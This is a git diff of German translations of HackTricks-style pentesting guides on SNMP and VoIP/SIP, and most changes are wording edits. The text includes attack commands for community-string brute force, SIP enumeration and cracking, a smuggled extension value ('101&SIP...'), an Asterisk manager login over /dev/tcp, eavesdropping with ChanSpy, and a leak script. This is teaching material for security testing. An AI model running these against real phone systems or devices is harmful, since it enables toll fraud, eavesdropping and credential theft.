Zahlenfolge wird für alle OIDs gleich sein, es sei denn, das Gerät wird von der Regierung hergestellt. -Weiter zur nächsten Zahlenreihe. +Weiter zu der nächsten Zahlenreihe. - 1452 – gibt den Namen der Organisation an, die dieses Gerät hergestellt hat. -- 1 – erklärt die Art des Geräts. In diesem Fall handelt es sich um einen Wecker. +- 1 – erklärt den Typ des Geräts. In diesem Fall handelt es sich um einen Wecker. - 2 – bestimmt, dass dieses Gerät eine Fernbedienungseinheit ist. Die restlichen Werte geben spezifische Informationen über das Gerät. @@ -67,7 +67,7 @@ Die restlichen Werte geben spezifische Informationen über das Gerät. Es gibt 2 wichtige Versionen von SNMP: -- **SNMPv1**: Hauptversion, sie ist immer noch die häufigste, die **Authentifizierung basiert auf einer Zeichenfolge** (Community-String), die in **Klartext** übertragen wird (alle Informationen werden im Klartext übertragen). **Version 2 und 2c** senden den **Verkehr ebenfalls im Klartext** und verwenden einen **Community-String als Authentifizierung**. +- **SNMPv1**: Die Hauptversion, sie ist immer noch die häufigste, die **Authentifizierung basiert auf einer Zeichenfolge** (Community-String), die in **Klartext** übertragen wird (alle Informationen werden im Klartext übertragen). **Version 2 und 2c** senden den **Verkehr ebenfalls im Klartext** und verwenden einen **Community-String als Authentifizierung**. - **SNMPv3**: Verwendet eine bessere **Authentifizierungs**form und die Informationen werden **verschlüsselt** übertragen (ein **Dictionary-Angriff** könnte durchgeführt werden, wäre aber viel schwieriger, die richtigen Anmeldeinformationen zu finden als in SNMPv1 und v2). ### Community-Strings @@ -78,24 +78,24 @@ Es gibt **2 Arten von Community-Strings**: - **`public`** hauptsächlich **nur Lese**-Funktionen - **`private`** **Lese/Schreib** im Allgemeinen -Beachten Sie, dass **die Schreibbarkeit eines OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Außerdem **kann** es Objekte geben, die **immer "Nur Lesen" sind.**\ -Wenn Sie versuchen, ein Objekt zu **schreiben**, erhalten Sie einen **`noSuchName` oder `readOnly` Fehler**\*\*.\*\* +Beachten Sie, dass **die Schreibbarkeit einer OID vom verwendeten Community-String abhängt**, sodass **selbst** wenn Sie feststellen, dass „**public**“ verwendet wird, Sie möglicherweise in der Lage sind, **einige Werte zu schreiben.** Es **kann** auch Objekte geben, die **immer "Nur Lesen"** sind.\ +Wenn Sie versuchen, ein Objekt zu **schreiben**, wird ein **`noSuchName` oder `readOnly` Fehler** empfangen.** -In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verwenden, wird der Server nicht **antworten**. Wenn er also antwortet, wurde ein **gültiger Community-String verwendet**. +In den Versionen 1 und 2/2c, wenn Sie einen **schlechten** Community-String verwenden, wird der Server nicht **antworten**. Wenn er antwortet, wurde ein **gültiger Community-String verwendet**. ## Ports [Von Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): -- Der SNMP-Agent empfängt Anfragen auf UDP-Port **161**. -- Der Manager empfängt Benachrichtigungen ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) und [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) auf Port **162**. -- Wenn es mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen auf Port **10161** empfangen und Benachrichtigungen an Port **10162** gesendet. +- Der SNMP-Agent empfängt Anfragen über den UDP-Port **161**. +- Der Manager empfängt Benachrichtigungen ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) und [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) über den Port **162**. +- Wenn er mit [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) oder [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) verwendet wird, werden Anfragen über den Port **10161** empfangen und Benachrichtigungen werden an den Port **10162** gesendet. ## Brute-Force Community-String (v1 und v2c) Um den **Community-String zu erraten**, könnten Sie einen Dictionary-Angriff durchführen. Überprüfen Sie [hier verschiedene Möglichkeiten, einen Brute-Force-Angriff gegen SNMP durchzuführen](../../generic-hacking/brute-force.md#snmp). Ein häufig verwendeter Community-String ist `public`. -## SNMP auflisten +## Aufzählung von SNMP Es wird empfohlen, Folgendes zu installieren, um zu sehen, was **jede gesammelte OID** vom Gerät bedeutet: ```bash @@ -124,7 +124,7 @@ Dank erweiterter Abfragen (download-mibs) ist es möglich, noch mehr über das S ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** enthält viele Informationen über den Host, und interessante Punkte sind: **Netzwerkschnittstellen** (IPv4 und **IPv6** Adresse), Benutzernamen, Betriebszeit, Server-/Betriebssystemversion und **Prozesse** +**SNMP** hat viele Informationen über den Host, und interessante Dinge sind: **Netzwerkschnittstellen** (IPv4 und **IPv6** Adresse), Benutzernamen, Betriebszeit, Server-/Betriebssystemversion und **Prozesse** **die laufen** (kann Passwörter enthalten).... @@ -136,18 +136,18 @@ Im Bereich des Netzwerkmanagements sind bestimmte Konfigurationen und Parameter Zwei Hauptparameter ermöglichen den Zugriff auf den **vollständigen OID-Baum**, der ein entscheidendes Element im Netzwerkmanagement ist: -1. **`rwuser noauth`** ist so eingestellt, dass es vollen Zugriff auf den OID-Baum ohne Authentifizierung ermöglicht. Diese Einstellung ist unkompliziert und erlaubt uneingeschränkten Zugriff. +1. **`rwuser noauth`** ist so eingestellt, dass er vollen Zugriff auf den OID-Baum ohne Authentifizierung ermöglicht. Diese Einstellung ist unkompliziert und erlaubt uneingeschränkten Zugriff. 2. Für spezifischere Kontrollen kann der Zugriff gewährt werden mit: - **`rwcommunity`** für **IPv4** Adressen, und - **`rwcommunity6`** für **IPv6** Adressen. -Beide Befehle erfordern eine **Community-String** und die entsprechende IP-Adresse, die vollen Zugriff unabhängig von der Herkunft der Anfrage bieten. +Beide Befehle erfordern eine **Community-String** und die relevante IP-Adresse, die vollen Zugriff unabhängig von der Herkunft der Anfrage bieten. ### SNMP-Parameter für Microsoft Windows Eine Reihe von **Management Information Base (MIB) Werten** wird verwendet, um verschiedene Aspekte eines Windows-Systems über SNMP zu überwachen: -- **Systemprozesse**: Zugriff über `1.3.6.1.2.1.25.1.6.0`, dieser Parameter ermöglicht die Überwachung aktiver Prozesse im System. +- **Systemprozesse**: Über `1.3.6.1.2.1.25.1.6.0` abgerufen, ermöglicht dieser Parameter die Überwachung aktiver Prozesse im System. - **Laufende Programme**: Der Wert `1.3.6.1.2.1.25.4.2.1.2` ist für die Verfolgung aktuell laufender Programme vorgesehen. - **Prozesspfad**: Um zu bestimmen, wo ein Prozess ausgeführt wird, wird der MIB-Wert `1.3.6.1.2.1.25.4.2.1.4` verwendet. - **Speichereinheiten**: Die Überwachung von Speichereinheiten wird durch `1.3.6.1.2.1.25.2.3.1.4` erleichtert. @@ -165,7 +165,7 @@ cisco-snmp.md ## Von SNMP zu RCE -Wenn du die **String** hast, die es dir erlaubt, **Werte** im SNMP-Dienst zu **schreiben**, kannst du möglicherweise diese ausnutzen, um **Befehle auszuführen**: +Wenn du die **String** hast, die es dir erlaubt, **Werte** im SNMP-Dienst **zu schreiben**, könntest du in der Lage sein, dies auszunutzen, um **Befehle auszuführen**: {{#ref}} snmp-rce.md @@ -173,7 +173,7 @@ snmp-rce.md ## **Massives SNMP** -[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen durchzuführen – aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch. +[Braa ](https://github.com/mteg/braa) ist ein massiver SNMP-Scanner. Die beabsichtigte Nutzung eines solchen Tools besteht natürlich darin, SNMP-Abfragen zu stellen – aber im Gegensatz zu snmpwalk von net-snmp kann es Dutzende oder Hunderte von Hosts gleichzeitig und in einem einzigen Prozess abfragen. Dadurch verbraucht es sehr wenige Systemressourcen und führt das Scannen SEHR schnell durch. Braa implementiert seinen eigenen SNMP-Stack, sodass es keine SNMP-Bibliotheken wie net-snmp benötigt. @@ -183,7 +183,7 @@ braa ignite123@192.168.1.125:.1.3.6.* ``` Dies kann eine Menge MB an Informationen extrahieren, die Sie nicht manuell verarbeiten können. -Schauen wir uns also die interessantesten Informationen an (von [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): +Also, lassen Sie uns nach den interessantesten Informationen suchen (von [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): ### **Geräte** @@ -199,7 +199,7 @@ grep -i "trap" *.snmp ``` ### **Benutzernamen/Passwörter** -Logs, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden: +Protokolle, die in MIB-Tabellen gespeichert sind, werden auf **fehlgeschlagene Anmeldeversuche** untersucht, die versehentlich Passwörter enthalten könnten, die als Benutzernamen eingegeben wurden. Schlüsselwörter wie _fail_, _failed_ oder _login_ werden durchsucht, um wertvolle Daten zu finden: ```bash grep -i "login\|fail" *.snmp ``` @@ -223,6 +223,7 @@ Wenn es eine ACL gibt, die nur bestimmten IPs erlaubt, den SNMP-Dienst abzufrage - snmpd.conf - snmp-config.xml + ## HackTricks Automatische Befehle ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md index fbe76da4a..73144d319 100644 --- a/src/network-services-pentesting/pentesting-voip/README.md +++ b/src/network-services-pentesting/pentesting-voip/README.md @@ -30,9 +30,9 @@ MESSAGE Deliver a text message. Used in instant messaging applications. RFC 34 INFO Send mid-session information that does not modify the session state. RFC 6086 OPTIONS Query the capabilities of an endpoint RFC 3261 ``` -## Antwortcodes +## Response Codes -**1xx—Vorläufige Antworten** +**1xx—Provisorische Antworten** ``` 100 Trying 180 Ringing @@ -129,7 +129,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261 ``` ## VoIP Enumeration -### Telefonnummern +### Telefonnumern Einer der ersten Schritte, die ein Red Team unternehmen könnte, ist die Suche nach verfügbaren Telefonnummern, um mit dem Unternehmen über OSINT-Tools, Google-Suchen oder das Scraping von Webseiten Kontakt aufzunehmen. @@ -192,7 +192,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` -- **`SIPPTS-Scan`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS-Scan ist ein sehr schneller Scanner für SIP-Dienste über UDP, TCP oder TLS. Er verwendet Multithreading und kann große Netzwerkbereiche scannen. Es ermöglicht, einen Portbereich einfach anzugeben, sowohl TCP als auch UDP zu scannen, eine andere Methode zu verwenden (standardmäßig wird OPTIONS verwendet) und einen anderen User-Agent anzugeben (und mehr). +- **`SIPPTS scan`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS-Scan ist ein sehr schneller Scanner für SIP-Dienste über UDP, TCP oder TLS. Er verwendet Multithreading und kann große Netzwerkbereiche scannen. Es ermöglicht, einen Portbereich einfach anzugeben, sowohl TCP als auch UDP zu scannen, eine andere Methode zu verwenden (standardmäßig wird OPTIONS verwendet) und einen anderen User-Agent anzugeben (und mehr). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] @@ -218,7 +218,6 @@ Die PBX könnte auch andere Netzwerkdienste wie folgt bereitstellen: - **3306 (MySQL)**: MySQL-Datenbank - **5038 (Manager)**: Ermöglicht die Nutzung von Asterisk von anderen Plattformen - **5222 (XMPP)**: Nachrichten über Jabber -- **5432 (PostgreSQL)**: PostgreSQL-Datenbank - Und andere... ### Methoden-Enumeration @@ -254,7 +253,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200 auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` -- **`enumiax` (`apt install enumiax`): enumIAX** ist ein Inter Asterisk Exchange-Protokoll **Benutzername-Brute-Force-Enumerator**. enumIAX kann in zwei verschiedenen Modi arbeiten: sequentielles Benutzernamen-Raten oder Wörterbuchangriff. +- **`enumiax` (`apt install enumiax`): enumIAX** ist ein Inter Asterisk Exchange-Protokoll **Benutzername Brute-Force Enumerator**. enumIAX kann in zwei verschiedenen Modi arbeiten: sequentielles Benutzernamen-Raten oder Wörterbuchangriff. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 @@ -275,7 +274,7 @@ Nachdem das **PBX** und einige **Erweiterungen/Benutzernamen** entdeckt wurden, svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` -- **`SIPPTS rcrack`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack ist ein Remote-Passwort-Cracker für SIP-Dienste. Rcrack kann Passwörter für mehrere Benutzer in verschiedenen IPs und Portbereichen testen. +- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack ist ein Remote-Passwort-Cracker für SIP-Dienste. Rcrack kann Passwörter für mehrere Benutzer in verschiedenen IPs und Portbereichen testen. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` @@ -293,7 +292,7 @@ Um diese Informationen zu erhalten, könnten Sie Tools wie Wireshark, tcpdump... > [!CAUTION] > Beachten Sie, dass wenn **TLS in der SIP-Kommunikation verwendet wird**, Sie die SIP-Kommunikation nicht im Klartext sehen können.\ -> Dasselbe wird passieren, wenn **SRTP** und **ZRTP** verwendet werden, **RTP-Pakete werden nicht im Klartext sein**. +> Das gleiche wird passieren, wenn **SRTP** und **ZRTP** verwendet werden, **RTP-Pakete werden nicht im Klartext sein**. #### SIP-Anmeldeinformationen (Passwort-Brute-Force - offline) @@ -318,8 +317,8 @@ sippts tshark -f capture.pcap [-filter auth] ``` #### DTMF-Codes -**Nicht nur SIP-Anmeldeinformationen** können im Netzwerkverkehr gefunden werden, es ist auch möglich, DTMF-Codes zu finden, die beispielsweise verwendet werden, um auf die **Voicemail** zuzugreifen.\ -Es ist möglich, diese Codes in **INFO SIP-Nachrichten**, in **Audio** oder innerhalb von **RTP-Paketen** zu senden. Wenn die Codes in RTP-Paketen enthalten sind, könnten Sie diesen Teil des Gesprächs ausschneiden und das Tool multimo verwenden, um sie zu extrahieren: +**Nicht nur SIP-Anmeldeinformationen** können im Netzwerkverkehr gefunden werden, es ist auch möglich, DTMF-Codes zu finden, die beispielsweise zum Zugriff auf die **Voicemail** verwendet werden.\ +Es ist möglich, diese Codes in **INFO SIP-Nachrichten**, in **Audio** oder innerhalb von **RTP-Paketen** zu senden. Wenn die Codes in RTP-Paketen enthalten sind, könnten Sie diesen Teil des Gesprächs herausschneiden und das Tool multimo verwenden, um sie zu extrahieren: ```bash multimon -a DTMF -t wac pin.wav ``` @@ -330,12 +329,12 @@ In Asterisk ist es möglich, eine Verbindung **von einer bestimmten IP-Adresse** host=10.10.10.10 host=dynamic ``` -Wenn eine IP-Adresse angegeben ist, muss der Host **keine REGISTER**-Anfragen von Zeit zu Zeit senden (im REGISTER-Paket wird die Lebensdauer angegeben, normalerweise 30 Minuten, was bedeutet, dass das Telefon in einem anderen Szenario alle 30 Minuten REGISTRIEREN muss). Es müssen jedoch offene Ports vorhanden sein, die Verbindungen vom VoIP-Server zu Anrufen zulassen. +Wenn eine IP-Adresse angegeben ist, muss der Host **keine REGISTER**-Anfragen von Zeit zu Zeit senden (im REGISTER-Paket wird die Lebensdauer angegeben, normalerweise 30 Minuten, was bedeutet, dass das Telefon in einem anderen Szenario alle 30 Minuten REGISTRIEREN muss). Es müssen jedoch offene Ports vorhanden sein, die Verbindungen vom VoIP-Server zulassen, um Anrufe entgegenzunehmen. Um Benutzer zu definieren, können sie wie folgt definiert werden: - **`type=user`**: Der Benutzer kann nur Anrufe als Benutzer empfangen. -- **`type=friend`**: Es ist möglich, Anrufe als Peer zu tätigen und sie als Benutzer zu empfangen (wird mit Erweiterungen verwendet). +- **`type=friend`**: Es ist möglich, Anrufe als Peer durchzuführen und sie als Benutzer zu empfangen (wird mit Erweiterungen verwendet). - **`type=peer`**: Es ist möglich, Anrufe als Peer zu senden und zu empfangen (SIP-Trunks). Es ist auch möglich, Vertrauen mit der unsicheren Variable herzustellen: @@ -374,7 +373,7 @@ Dies ist **ein weiterer Kontext**, der es ermöglicht, **eine andere Nummer anzu [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) ``` -Wenn der Administrator den **Standardkontext** definiert als: +Wenn der Administrator den **Standardkontext** wie folgt definiert: ``` [default] include => my_context @@ -384,11 +383,11 @@ include => external > Jeder wird in der Lage sein, den **Server zu nutzen, um zu jeder anderen Nummer zu telefonieren** (und der Administrator des Servers wird für den Anruf bezahlen). > [!CAUTION] -> Darüber hinaus enthält die **`sip.conf`**-Datei standardmäßig **`allowguest=true`**, sodass **jeder** Angreifer ohne **Authentifizierung** zu jeder anderen Nummer anrufen kann. +> Darüber hinaus enthält die **`sip.conf`** Datei standardmäßig **`allowguest=true`**, sodass **jeder** Angreifer ohne **Authentifizierung** zu jeder anderen Nummer anrufen kann. - **`SIPPTS invite`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite überprüft, ob ein **PBX-Server es uns erlaubt, Anrufe ohne Authentifizierung zu tätigen**. Wenn der SIP-Server eine falsche Konfiguration hat, erlaubt er uns, Anrufe zu externen Nummern zu tätigen. Es kann uns auch erlauben, den Anruf an eine zweite externe Nummer weiterzuleiten. -Zum Beispiel, wenn Ihr Asterisk-Server eine schlechte Kontextkonfiguration hat, können Sie INVITE-Anfragen ohne Autorisierung akzeptieren. In diesem Fall kann ein Angreifer Anrufe tätigen, ohne Benutzername/Passwort zu kennen. +Zum Beispiel, wenn Ihr Asterisk-Server eine schlechte Kontextkonfiguration hat, können Sie INVITE-Anfragen ohne Autorisierung akzeptieren. In diesem Fall kann ein Angreifer Anrufe tätigen, ohne irgendwelche Benutzer-/Passwortinformationen zu kennen. ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v @@ -406,7 +405,7 @@ IVRS in VoIP-Systemen besteht typischerweise aus: 2. **DTMF** (Dual-Tone Multi-Frequency) Signalisierung: Tastenwahl-Eingaben, die durch Drücken von Tasten am Telefon erzeugt werden und verwendet werden, um durch die IVR-Menüs zu navigieren und Eingaben bereitzustellen. 3. **Anrufweiterleitung**: Weiterleitung von Anrufen an das entsprechende Ziel, wie z.B. spezifische Abteilungen, Agenten oder Durchwahlen basierend auf Benutzereingaben. 4. **Benutzereingabenerfassung**: Sammlung von Informationen von Anrufern, wie z.B. Kontonummern, Fall-IDs oder andere relevante Daten. -5. **Integration mit externen Systemen**: Verbindung des IVR-Systems mit Datenbanken oder anderen Software-Systemen, um Informationen abzurufen oder zu aktualisieren, Aktionen auszuführen oder Ereignisse auszulösen. +5. **Integration mit externen Systemen**: Verbindung des IVR-Systems mit Datenbanken oder anderen Software-Systemen, um Informationen abzurufen oder zu aktualisieren, Aktionen durchzuführen oder Ereignisse auszulösen. In einem Asterisk VoIP-System können Sie ein IVR mithilfe des Wählplans (**`extensions.conf`** Datei) und verschiedener Anwendungen wie `Background()`, `Playback()`, `Read()` und mehr erstellen. Diese Anwendungen helfen Ihnen, Sprachansagen abzuspielen, Benutzereingaben zu erfassen und den Anrufverlauf zu steuern. @@ -418,8 +417,8 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300) exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` -Der vorherige ist ein Beispiel, bei dem der Benutzer aufgefordert wird, **1 zu drücken, um** eine Abteilung anzurufen, **2 zu drücken, um** eine andere anzurufen, oder **die vollständige Durchwahl** anzugeben, wenn er sie kennt.\ -Die Schwachstelle besteht darin, dass die angegebene **Durchwahl-Länge nicht überprüft wird, sodass ein Benutzer die 5-Sekunden-Timeout eine vollständige Nummer eingeben könnte und diese angerufen wird.** +Der vorherige ist ein Beispiel, bei dem der Benutzer aufgefordert wird, **1 zu drücken, um** eine Abteilung anzurufen, **2 zu drücken, um** eine andere anzurufen, oder **die vollständige Durchwahl** einzugeben, wenn er sie kennt.\ +Die Schwachstelle besteht darin, dass die angegebene **Durchwahl-Länge nicht überprüft wird, sodass ein Benutzer die 5-Sekunden-Timeout eines vollständigen Nummer eingeben kann und diese angerufen wird.** ### Extension Injection @@ -431,7 +430,7 @@ Wo **`${EXTEN}`** die **Durchwahl** ist, die angerufen wird, wenn die **Durchwah ```scss exten => 101,1,Dial(SIP/101) ``` -Wenn jedoch **`${EXTEN}`** die Einführung von **mehr als nur Zahlen** erlaubt (wie in älteren Asterisk-Versionen), könnte ein Angreifer **`101&SIP123123123`** eingeben, um die Telefonnummer 123123123 anzurufen. Und das wäre das Ergebnis: +Wenn jedoch **`${EXTEN}`** die Einführung **von mehr als nur Zahlen** erlaubt (wie in älteren Asterisk-Versionen), könnte ein Angreifer **`101&SIP123123123`** eingeben, um die Telefonnummer 123123123 anzurufen. Und das wäre das Ergebnis: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` @@ -445,13 +444,13 @@ Die SIP Digest Leak ist eine Schwachstelle, die eine große Anzahl von SIP-Telef 1. Ein IP-Telefon (Opfer) hört auf einem beliebigen Port (zum Beispiel: 5060) und akzeptiert Anrufe 2. Der Angreifer sendet eine INVITE an das IP-Telefon -3. Das Opfertelefon beginnt zu klingeln und jemand hebt ab und legt auf (weil niemand den Anruf am anderen Ende beantwortet) +3. Das Opfertelefon beginnt zu klingeln und jemand hebt ab und legt auf (weil niemand das Telefon am anderen Ende beantwortet) 4. Wenn das Telefon aufgelegt wird, **sendet das Opfertelefon ein BYE an den Angreifer** 5. Der **Angreifer gibt eine 407-Antwort aus**, die **nach Authentifizierung fragt** und eine Authentifizierungsherausforderung ausgibt -6. Das **Opfertelefon gibt eine Antwort auf die Authentifizierungsherausforderung** in einem zweiten BYE +6. Das **Opfertelefon liefert eine Antwort auf die Authentifizierungsherausforderung** in einem zweiten BYE 7. Der **Angreifer kann dann einen Brute-Force-Angriff** auf die Challenge-Antwort auf seinem lokalen Rechner (oder verteilten Netzwerk usw.) durchführen und das Passwort erraten -- **SIPPTS-Leck** von [**sippts**](https://github.com/Pepelux/sippts)**:** Das SIPPTS-Leck nutzt die SIP Digest Leak-Schwachstelle aus, die eine große Anzahl von SIP-Telefonen betrifft. Die Ausgabe kann im SipCrack-Format gespeichert werden, um sie mit SIPPTS dcrack oder dem SipCrack-Tool zu bruteforcen. +- **SIPPTS-Leck** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS-Leck nutzt die SIP Digest Leak-Schwachstelle aus, die eine große Anzahl von SIP-Telefonen betrifft. Die Ausgabe kann im SipCrack-Format gespeichert werden, um sie mit SIPPTS dcrack oder dem SipCrack-Tool zu bruteforcen. ```bash sippts leak -i 10.10.0.10 @@ -474,7 +473,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100 ``` ### Click2Call -Click2Call ermöglicht es einem **Webbenutzer** (der beispielsweise an einem Produkt interessiert sein könnte), seine **Telefonnummer** einzugeben, um einen Anruf zu erhalten. Dann wird ein Anruf an eine Commercial getätigt, und wenn er **den Hörer abnimmt**, wird der Benutzer **angeklingelt und mit dem Agenten verbunden**. +Click2Call ermöglicht es einem **Webbenutzer** (der beispielsweise an einem Produkt interessiert sein könnte), seine **Telefonnummer** anzugeben, um einen Anruf zu erhalten. Dann wird ein Werbeanruf getätigt, und wenn er **den Hörer abnimmt**, wird der Benutzer **angeklingelt und mit dem Agenten verbunden**. Ein gängiges Asterisk-Profil dafür ist: ```scss @@ -487,24 +486,24 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` - Das vorherige Profil erlaubt **JEDER IP-Adresse den Zugriff** (wenn das Passwort bekannt ist). -- Um **einen Anruf zu organisieren**, wie zuvor angegeben, sind **keine Leseberechtigungen erforderlich** und es ist **nur** **Originate** in **Write** erforderlich. +- Um **einen Anruf zu organisieren**, wie zuvor angegeben, sind **keine Leseberechtigungen erforderlich** und es wird **nur** **Originate** in **Schreib** benötigt. Mit diesen Berechtigungen könnte jede IP, die das Passwort kennt, sich verbinden und zu viele Informationen extrahieren, wie: ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 ``` -**Weitere Informationen oder Aktionen können angefordert werden.** +**Weitere Informationen oder Aktionen könnten angefordert werden.** ### **Abhören** -In Asterisk ist es möglich, den Befehl **`ChanSpy`** zu verwenden, um die **Erweiterung(en) zu überwachen** (oder alle) und Gespräche zu hören, die stattfinden. Dieser Befehl muss einer Erweiterung zugewiesen werden. +In Asterisk ist es möglich, den Befehl **`ChanSpy`** zu verwenden, um die **Nebenstelle(n) zu überwachen** (oder alle) und Gespräche zu hören, die stattfinden. Dieser Befehl muss einer Nebenstelle zugewiesen werden. -Zum Beispiel, **`exten => 333,1,ChanSpy('all',qb)`** bedeutet, dass wenn Sie die **Erweiterung 333 anrufen**, es **alle** Erweiterungen **überwacht**, **beginnt zuzuhören**, wann immer ein neues Gespräch beginnt (**`b`**) im ruhigen Modus (**`q`**), da wir nicht interagieren möchten. Sie können von einem laufenden Gespräch zum anderen wechseln, indem Sie **`*`** drücken oder die Erweiterungsnummer wählen. +Zum Beispiel, **`exten => 333,1,ChanSpy('all',qb)`** bedeutet, dass wenn Sie die **Nebenstelle 333 anrufen**, es **alle** Nebenstellen **überwacht**, **beginnt zuzuhören**, wann immer ein neues Gespräch beginnt (**`b`**) im ruhigen Modus (**`q`**), da wir nicht interagieren möchten. Sie können von einem laufenden Gespräch zum anderen wechseln, indem Sie **`*`** drücken oder die Nebenstellennummer wählen. -Es ist auch möglich, **`ExtenSpy`** zu verwenden, um nur eine Erweiterung zu überwachen. +Es ist auch möglich, **`ExtenSpy`** zu verwenden, um nur eine Nebenstelle zu überwachen. -Anstatt die Gespräche anzuhören, ist es möglich, sie in Dateien **aufzuzeichnen** mit einer Erweiterung wie: +Anstatt die Gespräche anzuhören, ist es möglich, sie in Dateien **aufzuzeichnen** mit einer Nebenstelle wie: ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) @@ -512,23 +511,23 @@ exten => _X.,2,MixMonitor(${NAME}) ``` Anrufe werden in **`/tmp`** gespeichert. -Sie könnten Asterisk auch dazu bringen, ein Skript auszuführen, das den Anruf **leakt**, wenn er beendet wird. +Sie könnten Asterisk auch dazu bringen, ein Skript auszuführen, das den Anruf **leakt**, wenn es geschlossen wird. ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed-Sicherheitsanfälligkeit -**RTCPBleed** ist ein schwerwiegendes Sicherheitsproblem, das Asterisk-basierte VoIP-Server betrifft (veröffentlicht im Jahr 2017). Die Sicherheitsanfälligkeit ermöglicht es, dass **RTP (Real Time Protocol)-Verkehr**, der VoIP-Gespräche überträgt, **von jedem im Internet abgefangen und umgeleitet werden kann**. Dies geschieht, weil RTP-Verkehr die Authentifizierung umgeht, wenn er durch NAT (Network Address Translation)-Firewalls navigiert. +**RTCPBleed** ist ein schwerwiegendes Sicherheitsproblem, das Asterisk-basierte VoIP-Server betrifft (veröffentlicht im Jahr 2017). Die Sicherheitsanfälligkeit ermöglicht es, dass **RTP (Real Time Protocol) Verkehr**, der VoIP-Gespräche überträgt, **von jedem im Internet abgefangen und umgeleitet werden kann**. Dies geschieht, weil RTP-Verkehr die Authentifizierung umgeht, wenn er durch NAT (Network Address Translation) Firewalls navigiert. -RTP-Proxys versuchen, **NAT-Einschränkungen** zu beheben, die RTC-Systeme betreffen, indem sie RTP-Streams zwischen zwei oder mehr Parteien proxen. Wenn NAT vorhanden ist, kann die RTP-Proxy-Software oft nicht auf die RTP-IP- und Portinformationen zugreifen, die über Signalisierung (z. B. SIP) abgerufen werden. Daher haben eine Reihe von RTP-Proxys einen Mechanismus implementiert, bei dem solche **IP- und Port-Tuple automatisch gelernt werden**. Dies geschieht oft, indem eingehender RTP-Verkehr inspiziert und die Quell-IP und der Port für eingehenden RTP-Verkehr als die markiert werden, auf die geantwortet werden soll. Dieser Mechanismus, der als "Lernmodus" bezeichnet werden kann, **verwendet keine Art von Authentifizierung**. Daher können **Angreifer** **RTP-Verkehr an den RTP-Proxy senden** und den proxierten RTP-Verkehr empfangen, der für den Anrufer oder den Angerufenen eines laufenden RTP-Streams bestimmt ist. Wir nennen diese 